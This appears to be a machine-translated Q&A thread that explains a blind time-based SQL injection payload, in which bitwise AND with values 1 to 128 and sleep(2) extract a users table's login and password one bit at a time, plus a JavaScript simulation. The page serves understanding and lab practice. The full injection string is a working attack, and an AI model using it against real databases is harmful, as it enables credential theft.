&16 在此 MySQL 查询中做什么?

What is &16 doing in this MySQL query?

我有这个MySQL查询,我唯一不明白的是这部分&16

if((select ascii(substring((select concat(login,':',password) from users limit 0,1),2,1))&16),sleep(2),0)

我正在尝试解决我有盲注 SQL 注入的机器:

这是逐个字符查找登录名和密码的整个有效负载:

hacker' or if((select ascii(substring((select concat(login,':',password) from users limit 0,1),2,1))&16),sleep(2),0) and '1'='1

实现 16 值的代码由 {2**bit} 位值范围为0到7

看起来这个人正在尝试检查用户名 + 密码的第二个字母是否属于这些 ascii 字符范围之一:

16 - 31
48 - 63
80 - 95
112 - 127
144 - 159
176 - 191
208 - 223
240 - 255

我相信您会发现用户名 + 密码的每个字母、1、2、4 ... 128 之间的每个值以及用户 table 中的每一行都有类似的尝试。 =14=]

现在,这是他实际要做的事情:

您需要尝试 256 次尝试使用蛮力猜测一个字母,即您检查 ascii 代码 0x00 - 0xFF。但是,如果 bitwise AND 操作可用,您可以一次检查一位并在恰好 8 次尝试中猜出字母。这是他正在尝试做的事情的 JavaScript 实现:

// assume this is the character from substring(..., 2, 1)
let substring = String.fromCharCode(Math.random() * 256);

// ...and this holds the ascii value of the character he's guessing
let cracked = 0;

// i represents the values used in the "&" operation
for (let i = 1; i <= 128; i <<= 1) {
  console.log(`i = ${i.toString().padStart(3, " ")} (0b${i.toString(2).padStart(8, "0")})`);

  if (substring.charCodeAt(0) & i) {
    // when "&" operation results in a truthy value he spots a 2 second delay
    // ...and updates the guessed value
    cracked |= i;
  }
}

console.log(`that substring: ${substring}`);
console.log(`cracked string: ${String.fromCharCode(cracked)} (${cracked})`);

它正在从您的 users table.

中的单行中的单个字符中提取单个位

如果成功,则攻击者知道他们可以查询您的用户和密码。然后他们可以结合许多其他查询来从其他字符中提取其他位。一旦他们获得了所有这些信息,他们就可以在他们的计算机上将它们拼凑起来并重建完整的用户名和密码。

为什么他们会以如此奇怪的方式,一次一位地这样做?

因为这样他们就不必 return 数据就知道它是什么。他们可以一次检查一个位,这会影响运行查询的结果。他们检查了:

hacker' or if(...,sleep(2),0)

如果该位为1,这将导致查询延迟2秒,如果该位为0,则不会延迟。他们可以对结果进行计时,因此知道是否设置了特定位。一旦他们对所有位都执行了此操作,他们就会知道完整的字符串。